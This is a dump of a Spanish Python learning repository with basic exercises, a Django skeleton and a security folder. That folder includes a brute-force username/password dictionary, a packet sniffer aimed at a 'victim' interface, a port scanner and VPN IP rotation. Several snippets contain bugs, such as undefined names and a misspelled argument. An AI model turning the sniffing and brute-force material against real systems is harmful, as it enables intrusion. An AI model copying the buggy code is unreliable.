├── 03_Django_Framework
├── db.sqlite3
├── proyecto1
│ ├── __init__.py
│ ├── __pycache__
│ │ ├── urls.cpython-310.pyc
│ │ ├── views.cpython-310.pyc
│ │ ├── wsgi.cpython-310.pyc
│ │ ├── __init__.cpython-310.pyc
│ │ └── settings.cpython-310.pyc
│ ├── wsgi.py
│ ├── plantillas
│ │ ├── conestilos.html
│ │ ├── otra.html
│ │ ├── barra.html
│ │ └── miplantilla.html
│ ├── urls.py
│ ├── views.py
│ └── settings.py
├── DjangoInstalacion.pptx
├── manage.py
└── readme.md
├── 05_Ciberseguridad_Python
├── Forense
│ ├── archivo_prueba.txt
│ ├── 01_Yara_Caracteres_En_Archivo.py
│ ├── 02_Pefile_Encuentra_Librerias_En_Ejecutable.py
│ ├── 07_Copia_Disco_Duro.py
│ ├── 08_Grabar_Microfono_Windows.py
│ ├── 06_Extraer_Info_Android.py
│ ├── 05_Extraer_Info_Mac.py
│ ├── 10_Grabar_Microfono_Pantalla_Camara_Ubicacion.py
│ ├── 04_Extraer_Info_Linux.py
│ └── 09_Grabar_Microfono_Windows_Regulable_DB.py
├── Encriptaciones
│ ├── Esteganografia
│ │ ├── Texto_a_guardar.txt
│ │ ├── imagen_base.jpg
│ │ ├── imagen_base.png
│ │ ├── 02_ZipFile_Esteganografia_desencriptacion.py
│ │ ├── 01_Piexif_Esteganografia_desencriptacion.py
│ │ ├── 02_ZipFile_Esteganografia_encriptacion.py
│ │ ├── 01_Piexif_Esteganografia_encriptacion.py
│ │ ├── 03_Piexif_Fernet_Esteganografia_desencriptacion.py
│ │ ├── 04_ZipFile_Fernet_Esteganografia_desencriptacion.py
│ │ ├── 04_ZipFile_Fernet_Esteganografia_encriptacion.py
│ │ └── 03_Piexif_Fernet_Esteganografia_encriptacion.py
│ ├── 02_Acortar_link.py
│ ├── 01_Crear_qr.py
│ ├── 04_QrWifi.py
│ ├── 03_VPN_con_python.py
│ ├── 05_CreacionContraseña.py
│ ├── 07_Encriptacion_texto_fernet.py
│ ├── 08_Encriptacion_archivo_fernet.py
│ ├── 09_Clave_Morse.py
│ └── 06_Encriptacion_texto_haslib.py
├── Fuerza_bruta
│ ├── password.txt
│ ├── usuario.txt
│ ├── 01_FuerzaBruta_Contraseñas.py
│ ├── 03_FuerzaBruta_Diccionario_EJ_2.py
│ ├── 02_FuerzaBruta_Diccionario_Contraseñas.py
│ └── 04_FuerzaBruta_mechanize.py
├── Relacionado_a_IP
│ ├── 02_Convertir_domino_enip.py
│ ├── 03_Convertir_ip_endominio.py
│ ├── 01_Obtener_direccion_iplocal.py
│ ├── 04_Mostrar_geolocalizacion_ip.py
│ ├── 07_Prueba_Velocidad_Internet.py
│ ├── 06_Distancia_con_geolocalizacion.py
│ └── 05_Mostrar_geolocalizacion_sitio.py
├── Escaneos
│ ├── 06_Scapy_Sniff.py
│ ├── 01_Escaneo_de_puertos.py
│ ├── 05_Scapy_PING_Url.py
│ ├── 03_Paramiko_ejemplo.py
│ ├── 08_Psutil_Detectar_Usb.py
│ ├── 04_Scapy_PING_IP.py
│ ├── 02_Nmap_ejemplo.py
│ └── 07_Scapy_IDS.py
├── Radio_frecuencias
│ ├── 14_Emisor_Sonido_Frecuencia_NoAudible.py
│ ├── 04_Sniffer_Bluetooth_Pyrtlsdr.py
│ ├── No_Se_Han_Probado
│ │ └── 16_Escoger_bluetooth_Enviar_Texto.py
│ ├── 08_Graficador_General_Señales.py
│ ├── 13_Bleak_Info_Bluetooth.py
│ ├── 09_Graficador_Potencias_Electromagneticas_Pyrtlsdr.py
│ ├── 01_Receptor_Sencillo_Radio_Pyrtlsdr.py
│ ├── 03_Analisador_Espectro_Pyrtlsdr.py
│ ├── 15_Convertir_Sonido_Frecuencias_Diferente.py
│ ├── 02_Decodificador_RadioFM_Pyrtlsdr_.py
│ ├── 10_Radar_Distancia_Celulares.py
│ ├── 05_Radar_Distancia_Wifi.py
│ ├── 06_Radar_Distancia_Bluetooth.py
│ ├── 12_Bleak_Escaner_GPS.py
│ ├── 17_Radar_WIFI_Mejorado_Automatico.py
│ ├── 18_Listado_Dispositivos_WIFI.py
│ ├── 11_Bleak_Escaner_Bluetooth.py
│ ├── 16_Radar_Bluetooth_Mejorado_Automatico.py
│ └── 07_Inhibidor_Señales_ElectroMagnetismo_SoapySDR.py
└── Ataques_de_intrusion
│ ├── 01_Paramiko_ejemplo_ssh.py
│ ├── 03_Scapy_DenegacionDeServiciosDOS.py
│ ├── 04_Socket_DenegacionDeServiciosDOS.py
│ ├── 02_Keylogger.py
│ ├── 07_DenegacionDeServicio_Web.py
│ ├── 06_Pynput_Keylogger_Fecha_Hora.py
│ ├── 05_Shutil_Exfiltracion_usb.py
│ └── 08_DenegacionDeServicios_TCP_ICMP_FTP_SMTP.py
├── 01_Codigo_Basico_Python
├── 12_Matrices_Con_Python.py
├── 08_Funcion_Filtro.py
├── 01_bucle.py
├── 07_Funciones_Resumidas.py
├── 09_Funcion_map.py
├── 13_Barra_De_Proceso.py
├── 04_condicionales.py
├── 11_Listas_2.py
├── 05_decorador.py
├── 06_diccionario.py
├── 03_clases.py
├── 16_Calendario.py
├── 10_listas.py
├── 15_Corrector_OrtografiaIngles.py
├── 14_Codigo_De_Barras.py
└── 02_cadenas.py
├── 04_CRUD_Python_MySql
├── static
│ ├── css
│ │ └── main.css
│ └── js
│ │ └── main.js
├── templates
│ ├── editarcontacto.html
│ ├── layout.html
│ └── index.html
├── README.md
└── app.py
├── 02_Ejemplos_Librerias
├── 03_Alarma.py
├── 04_Selenium_ejemplo.py
├── 12_Img2Pdf.py
├── 14_Schemdraw_Electronica.py
├── 24_Convertir_PY_SH.py
├── 09_Sympy_ejemplo_DerivadaIntegral.py
├── 07_Pubchempy_ejemplo.py
├── 11_CountryInfo_DatosPais.py
├── 10_Turtle_ejemplo_flor.py
├── 06_PyAutoGUI_ejemplo_2.py
├── 01_descargar_video_youtube.py
├── 16_Dashboard_dash.py
├── 13_Numpy_Matplot_ejemplo.py
├── 02_Pdf_crea_audiolibro.py
├── 21_Requests_Github_Dejar_De_Seguir.py
├── 18_Cookies.py
├── 05_PyAutoGUI_ejemplo.py
├── 23_Instagrapi_Instagram_Dejar_De_Seguir.py
├── 20_Requests_Github_Quien_NoMe_Sigue.py
├── 17_Captcha.py
├── 22_Instagrapi_Instagram_Obtener_SeguidosSeguidores.py
├── 25_Requests_Ver_Correos_Github_Seguidos.py
├── 08_Chat_Bot.py
└── 19_Requests_Guardar_datos_de_usuario_web.py
└── README.md
/03_Django_Framework/db.sqlite3:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Forense/archivo_prueba.txt:
--------------------------------------------------------------------------------
1 | Este Archivo dice: Hola Mundo
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/Texto_a_guardar.txt:
--------------------------------------------------------------------------------
1 | Aqui va la informacion que se va a esconder dentro de la imagen
2 |
--------------------------------------------------------------------------------
/03_Django_Framework/DjangoInstalacion.pptx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/DjangoInstalacion.pptx
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/12_Matrices_Con_Python.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/01_Codigo_Basico_Python/12_Matrices_Con_Python.py
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__pycache__/urls.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/urls.cpython-310.pyc
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__pycache__/views.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/views.cpython-310.pyc
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__pycache__/wsgi.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/wsgi.cpython-310.pyc
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__pycache__/__init__.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/__init__.cpython-310.pyc
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/__pycache__/settings.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/03_Django_Framework/proyecto1/__pycache__/settings.cpython-310.pyc
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.jpg
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/guevaraStian/Proyectos_Python/HEAD/05_Ciberseguridad_Python/Encriptaciones/Esteganografia/imagen_base.png
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/08_Funcion_Filtro.py:
--------------------------------------------------------------------------------
1 | # Esta funcion, nos muestra los numeros mayores que 0
2 | def filtro (elem):
3 | return (elem >0)
4 |
5 | l=[1,-3,2,-7,-8,9,10]
6 | lr = filter(filtro,l)
7 |
8 | print (l)
9 | print (lr)
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/01_bucle.py:
--------------------------------------------------------------------------------
1 | # Se declara la edad y se crea un bucle donde solo para cuando llega a 7
2 | edad =0
3 | while edad <=10:
4 | if edad == 7 :
5 | break
6 | print ("tienes: "+ str(edad))
7 | edad = edad +1
8 |
9 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/password.txt:
--------------------------------------------------------------------------------
1 | user
2 | admin
3 | suscribete
4 | youtube
5 | hola
6 | pepe
7 | juan
8 | emersoncrp
9 | password
10 | 1234
11 | 12345678
12 | hola
13 | 2023
14 | 202020
15 | admin
16 | password
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Fuerza_bruta/usuario.txt:
--------------------------------------------------------------------------------
1 | user
2 | admin
3 | suscribete
4 | youtube
5 | hola
6 | pepe
7 | juan
8 | emersoncrp
9 | password
10 | 1234
11 | 12345678
12 | hola
13 | 2023
14 | 202020
15 | admin
16 | password
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/07_Funciones_Resumidas.py:
--------------------------------------------------------------------------------
1 | # Este programa nos muestra, funciones sencillas
2 | li =[1,-2,1,-4]
3 | lo = [5,3,6,7]
4 | s = "Hoola mundo"
5 |
6 | print (map(lambda n,m: n+m , li,lo))
7 | print (filter(lambda n: n=='o' , s))
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/02_Acortar_link.py:
--------------------------------------------------------------------------------
1 | # Primero se instala pyshorteners con el siguiente comando "pip install pyshorteners"
2 | import pyshorteners
3 | # Agregamos el enlace
4 | link='https://github.com/guevaraStian'
5 | # Mostramos el enalce acortado
6 | print(pyshorteners.Shortener().clckru.short(link))
7 |
8 |
--------------------------------------------------------------------------------
/04_CRUD_Python_MySql/static/css/main.css:
--------------------------------------------------------------------------------
1 | body{
2 | background: #2c3e50; /* fallback for old browsers */
3 | background: -webkit-linear-gradient(to right, #3498db, #2c3e50); /* Chrome 10-25, Safari 5.1-6 */
4 | background: linear-gradient(to right, #3498db, #2c3e50); /* W3C, IE 10+/ Edge, Firefox 16+, Chrome 26+, Opera 12+, Safari 7+ */
5 | }
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/09_Funcion_map.py:
--------------------------------------------------------------------------------
1 | # Se crea funcion y se ejecuta imprimiento en pantalla informacion
2 |
3 | def operador (n,m):
4 | if n==None or m == none:
5 | return 0
6 | return n+m
7 |
8 | s1 = "Holaa"
9 | s2 = "mundo"
10 |
11 | lr= map(operador,s1,s2) # llama la operacion operador,insertando los datos s1 y s2
12 |
13 | print (lr)
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/13_Barra_De_Proceso.py:
--------------------------------------------------------------------------------
1 | # Primero se instala wifiqrcode con el siguiente comando "pip install tqdm"
2 | from tqdm import tqdm_notebook as tqdm
3 | import time
4 |
5 | # Con el siguiente codigo, se crea la barra de progreso que poco a poco se llena
6 | for i in tqdm(range(20)):
7 | print(i)
8 |
9 |
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/04_condicionales.py:
--------------------------------------------------------------------------------
1 | # El siguiente programa es un ejemplo sencillo de condicionales SI
2 | edad = 102
3 |
4 |
5 | if edad >= 0 and edad < 18:
6 | print ('eres un niño')
7 | elif edad >=18 and edad <27 :
8 | print ('Eres un joven')
9 | elif edad >=27 and edad < 60:
10 | print ('eres un adulto')
11 | else :
12 | print ('eres de la tercera edad')
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/11_Listas_2.py:
--------------------------------------------------------------------------------
1 | # Se crean 2 listas diferentes, uno con numeros y el otro con letras
2 | l = [1,2,3,4]
3 | s = ["H","O","L","A"]
4 |
5 | #Se crea un doble for, con un if adentro, para recorrer las listas eh imprimir cada parte de la lista
6 | l2 =[c*num for c in s
7 | for num in l
8 | if num> 0]
9 |
10 | print (l)
11 | print (l2)
--------------------------------------------------------------------------------
/04_CRUD_Python_MySql/static/js/main.js:
--------------------------------------------------------------------------------
1 | const btnDelete = document.querySelectorAll('.btn-delete')
2 |
3 | if(btnDelete){
4 | const btnArray = Array.from(btnDelete);
5 | btnArray.forEach((btn)=>{
6 | btn.addEventListener('click', (e)=>{
7 | if(!confirm('Desea eliminar el dato de la base de datos?')){
8 | e.preventDefault();
9 | }
10 | });
11 | });
12 | }
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/01_Crear_qr.py:
--------------------------------------------------------------------------------
1 | # Primero se instala qrcode con el siguiente comando "pip install qrcode"
2 | import qrcode
3 |
4 | #Se solicita la informacion y se crea la variable con el nombre del archivo
5 | contenido = input("Por favor ingrese la informacion del QR: ")
6 | nombre_archivo = "qr.png"
7 |
8 | #Usando el make de qrcode se guarda
9 | img = qrcode.make(contenido)
10 | img.save(nombre_archivo)
11 |
12 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/03_Alarma.py:
--------------------------------------------------------------------------------
1 | # Primero se instala datetime con el siguiente comando "pip install datetime"
2 | from datetime import datetime
3 | import os
4 | while True:
5 | a = datetime.now()
6 | # se selecciona la hora y luego se agrega el audio que va a sonar
7 | if a.hour==4:
8 | os.popen2('/usr/bin/totem --play /usr/share/sounds/')
9 | # se selecciona la hora y luego se agrega el audio que va a sonar
10 | break
11 |
12 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/wsgi.py:
--------------------------------------------------------------------------------
1 | """
2 | WSGI config for proyecto1 project.
3 |
4 | It exposes the WSGI callable as a module-level variable named ``application``.
5 |
6 | For more information on this file, see
7 | https://docs.djangoproject.com/en/2.1/howto/deployment/wsgi/
8 | """
9 |
10 | import os
11 |
12 | from django.core.wsgi import get_wsgi_application
13 |
14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proyecto1.settings')
15 |
16 | application = get_wsgi_application()
17 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/04_Selenium_ejemplo.py:
--------------------------------------------------------------------------------
1 | # Primero se instala selenium con el siguiente comando "pip install selenium"
2 | from selenium import webdriver
3 | from selenium.webdriver.common.by import By
4 | from selenium.webdriver.common.keys import Keys
5 | import time
6 |
7 | driver = webdriver.Chrome()
8 | driver.get("https://www.google.com/")
9 |
10 | web_element = driver.find_element(By.NAME, 'q')
11 | web_element.send_keys("Selenium Webdriver"+ Keys.ENTER)
12 |
13 | time.sleep(30)
14 |
15 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/02_Convertir_domino_enip.py:
--------------------------------------------------------------------------------
1 | # Primero se instala socket con el siguiente comando "pip install socket"
2 | import socket
3 |
4 | #Escogemos el dominio al que le vamos a ver la ip
5 | dominio = input("Por favor, la direccion url o ip de la pagina web (ej: www.google.com) : ")
6 |
7 | # dominio = 'www.google.com'
8 | print (dominio) #mostramos el nombre del dominio
9 | print (socket.gethostbyname(dominio)) #mostramos la ip publica del dominio
10 |
11 |
12 |
13 |
14 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/03_Convertir_ip_endominio.py:
--------------------------------------------------------------------------------
1 | # Primero se instala socket con el siguiente comando "pip install socket"
2 | import socket
3 |
4 | #Escogemos la ip publica a la que le veremos el dominio junto a un puerto abierto
5 | ippublica = input("Por favor, la direccion ip de la pagina web (ej: 8.8.8.8) : ")
6 |
7 | ippublica_conpuerto = ("ippublica", 80)
8 | Info = socket.getnameinfo(ippublica_conpuerto, 0) #hayamos la ip publica
9 | print(Info) #se muestra la informacion
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/04_QrWifi.py:
--------------------------------------------------------------------------------
1 | # Primero se instala wifiqrcode con el siguiente comando "pip install wifi-qrcode-generator"
2 | from wifi_qrcode_generator import wifi_qrcode
3 |
4 | # Con esta libreria, se crea el codigo qr y dentro de el codigo la informacion de la conexion a wifi
5 | Codigo_qr = wifi_qrcode("nombre_de_wifi", hidden=False, authentication_type="WPA", password="Contraseña_wifi")
6 | Imagen_qr = Codigo_qr.make_image()
7 | Imagen_qr.save("wifi_qr_code.png")
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/05_decorador.py:
--------------------------------------------------------------------------------
1 | # Un decorador es una funcion que recibe datos de otra funcion
2 | loggeado = False
3 | usuario = "CodigoFacilito"
4 |
5 | def admin(f):
6 | def comprobar(*args,**kwargs):
7 | if loggeado:
8 | f(*args,**kwargs)
9 | else:
10 | print ("No tiene permiso de ejecutar")
11 | return comprobar
12 |
13 |
14 | def decorador(funcion):
15 | def funcionDecorada(*args,**kwargs):
16 | print ("funcion ejecutada ", funcion.__name__)
17 | funcion(*args,**kwargs)
18 | return funcionDecorada
19 |
20 | @decorador
21 | def resta(n,m):
22 | print (n-m)
23 |
24 | resta(3,5)
--------------------------------------------------------------------------------
/03_Django_Framework/manage.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | import os
3 | import sys
4 |
5 | if __name__ == '__main__':
6 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'proyecto1.settings')
7 | try:
8 | from django.core.management import execute_from_command_line
9 | except ImportError as exc:
10 | raise ImportError(
11 | "Couldn't import Django. Are you sure it's installed and "
12 | "available on your PYTHONPATH environment variable? Did you "
13 | "forget to activate a virtual environment?"
14 | ) from exc
15 | execute_from_command_line(sys.argv)
16 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/12_Img2Pdf.py:
--------------------------------------------------------------------------------
1 | # Primero se instala img2pdf con el siguiente comando "pip install img2pdf"
2 | # Luego de bajar librerias, las importamos
3 | import img2pdf
4 |
5 | # En la siguiente linea se guarda y se convierte la imagen en bytes
6 | with open("imagen.png", "rb") as image:
7 | pdf_bytes = img2pdf.convert(image.read())
8 |
9 | # Se crea el documento pdf en este caso con la imagen en su contenido
10 | with open("documento.pdf", "wb") as pdf:
11 | pdf.write(pdf_bytes)
12 |
13 | # Si el proceso se realizo, se imprime en pantalla
14 | print("La imagen se convirtio en pdf!!")
15 |
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/06_Scapy_Sniff.py:
--------------------------------------------------------------------------------
1 | from scapy.all import IP, sniff
2 |
3 | # Se guarda en una variable la interface que se va a validar en la victima
4 | interface = "eth0"
5 |
6 | # Se crea la funcion que realiza el sniff por paquetes cuando le indican una ip
7 | def print_packet(packet):
8 | ip_layer = packet.getlayer(IP)
9 | print("[!] New packet: {src} -> {dst}".format(src=ip_layer.src, dst=ip_layer.dst))
10 |
11 |
12 | # se ejecuta la funcion y se imprime en pantalla informacion
13 | print("Empieza a sniffing..")
14 | sniff(iface=interface, filter="ip", prn=print_packet)
15 | print("Para la sniffing")
16 |
17 |
18 |
--------------------------------------------------------------------------------
/03_Django_Framework/proyecto1/plantillas/conestilos.html:
--------------------------------------------------------------------------------
1 | {% extends "barra.html" %} {% block content %}
2 |
3 |
17 |
18 | {% endblock %}
19 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/06_diccionario.py:
--------------------------------------------------------------------------------
1 | # Este software crea un diccionario con diferente informacion dentro y nos muesta como imprimir en pantalla cierta informacion
2 | diccionario = {
3 | "redes_sociales": ["twitter","Facebook","linkedin"], 3: "tres","hola":"mundo"
4 | }
5 | print (diccionario)
6 | print (diccionario.values()) #Encontrar valores dentro de todas las llaves
7 | print (diccionario.pop(3)) #Encontrar valores dentro de la llave 3
8 | print (diccionario.clear()) #Eliminar llaves y valores dentro de diccionario
9 | diccionario["clave_nueva"] = "valor" #Agrega llave "clave_nueva"con el valor "valor"
10 | diccionario2 = diccionario.copy()
11 | print (diccionario)
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/03_clases.py:
--------------------------------------------------------------------------------
1 | # Se crena clases que solicitaran 1 dato de entrada para mostrar la informacion final
2 | class humano:
3 | def __init__(self,edad):
4 | self.edad = edad
5 |
6 | def hablar(self, mensaje):
7 | print (mensaje)
8 |
9 | class ingsistemas(humano):
10 | def programar(self, lenguaje):
11 | print ('voy a programar en ', lenguaje)
12 |
13 | class derecho(humano):
14 | def estudiarcaso(self, de):
15 | print ('Debo estudiar el caso de ', de)
16 |
17 | class estudioso(ingsistemas,derecho):
18 | pass
19 |
20 | pedro = ingsistemas(26)
21 | raul = derecho(30)
22 |
23 | #Se invoca la funcion con una variable de ingreso
24 | pedro.programar('python')
25 | raul.estudiarcaso('Pedro')
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/01_Escaneo_de_puertos.py:
--------------------------------------------------------------------------------
1 | # Primero se instala socket con el siguiente comando "pip install socket"
2 | import socket
3 |
4 | def escanear_puerto(ip, puerto):
5 | try:
6 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7 | sock.settimeout(1)
8 | resultado = sock.connect_ex((ip, puerto))
9 | if resultado == 0:
10 | print(f"Puerto {puerto} abierto en {ip}")
11 | sock.close()
12 | except socket.error:
13 | print(f"Error al escanear el puero {puerto} en {ip}")
14 |
15 | ip_destino= "localhost"
16 | puertos = [80, 443, 22, 3389]
17 |
18 | for puerto in puertos:
19 | escanear_puerto(ip_destino, puerto)
20 |
21 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Escaneos/05_Scapy_PING_Url.py:
--------------------------------------------------------------------------------
1 | from scapy.all import IP, ICMP, sr1
2 |
3 | def ping(host):
4 | # Se guarda en una variable la respuesta, de un icmp a un host o url
5 | packet = IP(dst=host)/ICMP()
6 | # Se guarda en una variable la repuesta de un sr1 con sus variables asignadas
7 | response = sr1(packet, timeout=2, verbase=0)
8 | # Si dio respuesta el ping entonces da una respuesta y si no, da otra
9 | if response:
10 | return f"{host} Esta en linea"
11 | else:
12 | return f"{host} No esta en linea"
13 |
14 | url = input("Por favor, la direccion url de la pagina web (ej: www.google.com) : ")
15 | # url = "www.google.com"
16 | result = ping(url)
17 | print(result)
18 |
19 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Relacionado_a_IP/01_Obtener_direccion_iplocal.py:
--------------------------------------------------------------------------------
1 | # Primero se instala socket con el siguiente comando "pip install socket"
2 | #Primero se instala platform con el siguiente comando "pip install platform"
3 | import socket
4 | import platform
5 |
6 | url_victima = input("Por favor, la direccion url o ip de la pagina web (ej: 8.8.8.8) : ")
7 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
8 | s.connect((url_victima, 80))
9 |
10 | print(s.getsockname()[0]) #Muestra en pantalla la IP privada del computador donde se ejecuta
11 | print(socket.gethostname()) #Muestra en pantalla el hostnme del computador donde se ejecuta
12 | print (platform.node()) #Muestra en pantalla el hostnme del computador donde se ejecuta
13 |
14 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/14_Schemdraw_Electronica.py:
--------------------------------------------------------------------------------
1 | # Esta libreria ayudar a crear graficas de electronica
2 | # Primero se instala schemdraw con el siguiente comando "pip install schemdraw"
3 |
4 | import schemdraw
5 | import schemdraw.elements as elm
6 |
7 |
8 | # Se inicializa la libreria en la variable d
9 | d = schemdraw.Drawing()
10 |
11 | # Se crean los componentes que tendra la gafica
12 | v = d.add(elm.SourceV().label('V', loc='left'))
13 | r = d.add(elm.Resistor().label('R').right())
14 | c = d.add(elm.Capacitor().label('C').right())
15 | l = d.add(elm.Inductor().label('L').right())
16 |
17 | # Se crea la grafica
18 | d.add(elm.Ground().at(v.start))
19 | d.add(elm.Ground().at(v.end))
20 | d.draw()
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/24_Convertir_PY_SH.py:
--------------------------------------------------------------------------------
1 | # En este programa se muestra un codigo para dejar de seguir usuarios en instagram
2 | # Se usaran 2 librerias os y instagrapi
3 | # Primero se instala captcha con el siguiente comando "pip install instagrapi"
4 | # archivo: generar_sh.py
5 |
6 | nombre_script_py = "script.py"
7 | nombre_script_sh = "ejecutar_script.sh"
8 |
9 | contenido_sh = f"""#!/bin/bash
10 | # Script generado automáticamente
11 | python3 {nombre_script_py}
12 | """
13 |
14 | with open(nombre_script_sh, 'w') as archivo_sh:
15 | archivo_sh.write(contenido_sh)
16 |
17 | # Hacer el archivo .sh ejecutable
18 | import os
19 | os.chmod(nombre_script_sh, 0o755)
20 |
21 | print(f"Archivo '{nombre_script_sh}' creado y listo para ejecutar '{nombre_script_py}'.")
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/16_Calendario.py:
--------------------------------------------------------------------------------
1 | # Primero se instala calendar con el siguiente comando "pip install calendar"
2 | # Luego de bajar librerias, las importamos
3 | import calendar
4 |
5 | # En la siguiente linea se cre la funcion
6 | def display_calendar():
7 | #Se guardan las variables de año y mes
8 | año= int(input("Enter year: "))
9 | mes = int(input("Enter month (1-12): "))
10 | #Se crea la variable con la configuracion del calendario hasta domingo
11 | calen = calendar.TextCalendar(calendar.SUNDAY)
12 | #se le ingresa el año y el mes del calendario que se quiere mostrar en pantalla
13 | mes_calendario = calen.formatmonth(año, mes)
14 | # Se muestra en pantalla el calendario
15 | print(mes_calendario)
16 | display_calendar()
17 |
18 |
19 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Encriptaciones/03_VPN_con_python.py:
--------------------------------------------------------------------------------
1 | # Primero se instala datetime con el siguiente comando "pip install datetime"
2 | #Primero se instala os con el siguiente comando "pip install os"
3 | import os
4 | from time import sleep
5 | import random
6 |
7 | ListaDeCodigos= ["TR", "US","DE", "NL", "CH","CA-W", "GB"]
8 |
9 | #Por medio de la libreria de sistema operativo, se reconecta a internet con una ip diferente
10 | try:
11 | os.system("windscribe connect")
12 | while True:
13 | CambioCodigo = random.choice(ListaDeCodigos)
14 | sleep(random.randrange(12,30))
15 | print("#Cambiando la direccion ip...")
16 | os.system("windscribe connect "+ CambioCodigo)
17 | except:
18 | os.system("windscribe disconnect")
19 | print("Error...")
--------------------------------------------------------------------------------
/02_Ejemplos_Librerias/09_Sympy_ejemplo_DerivadaIntegral.py:
--------------------------------------------------------------------------------
1 | # Primero se instala sympy con el siguiente comando "pip install sympy"
2 | # Luego de bajar librerias, las importamos
3 | from sympy import *
4 |
5 | # La variable con el simbolo x
6 | x = Symbol('x')
7 |
8 | # Se le pide la funcion al usuario del software
9 | func = input("Por favor ingrese la funcion: ")
10 |
11 | # Se le aplican diferentes operaciones a la funcion ingresada
12 | derivada = diff(func, x)
13 | derivada_2 = Derivative(func, x, evaluate = true)
14 | limite = limit(func , x, 0)
15 | integrada = integrate(func, x)
16 | solucion = solve(func, x)
17 |
18 | # Con este codigo se imprime cada solucion empleada
19 | print(derivada)
20 | print(derivada_2)
21 | print(limite)
22 | print(integrada)
23 | print(solucion)
24 |
25 |
26 |
27 |
28 |
29 |
--------------------------------------------------------------------------------
/05_Ciberseguridad_Python/Radio_frecuencias/14_Emisor_Sonido_Frecuencia_NoAudible.py:
--------------------------------------------------------------------------------
1 | import numpy as np
2 | import sounddevice as sd
3 |
4 | # Parámetros del sonido
5 | frecuencia = 25000 # Frecuencia en Hz (ultrasonido)
6 | duracion = 5 # Duración de un ciclo base
7 | fs = 48000 # Frecuencia de muestreo
8 |
9 | # Crear onda base
10 | t = np.linspace(0, duracion, int(fs * duracion), endpoint=False)
11 | onda = np.sin(2 * np.pi * frecuencia * t)
12 |
13 | # Normalizar para 16 bits
14 | onda = np.int16(onda * 32767)
15 |
16 | print("Reproduciendo ultrasonido en bucle. Presiona Ctrl+C para detener...")
17 |
18 | try:
19 | while True:
20 | sd.play(onda, fs)
21 | sd.wait() # Espera a que termine antes de repetir
22 | except KeyboardInterrupt:
23 | print("\nReproducción detenida.")
24 |
--------------------------------------------------------------------------------
/01_Codigo_Basico_Python/10_listas.py:
--------------------------------------------------------------------------------
1 | # Se crean las variables con listas en su interior
2 | lista = [1,"dos",3]
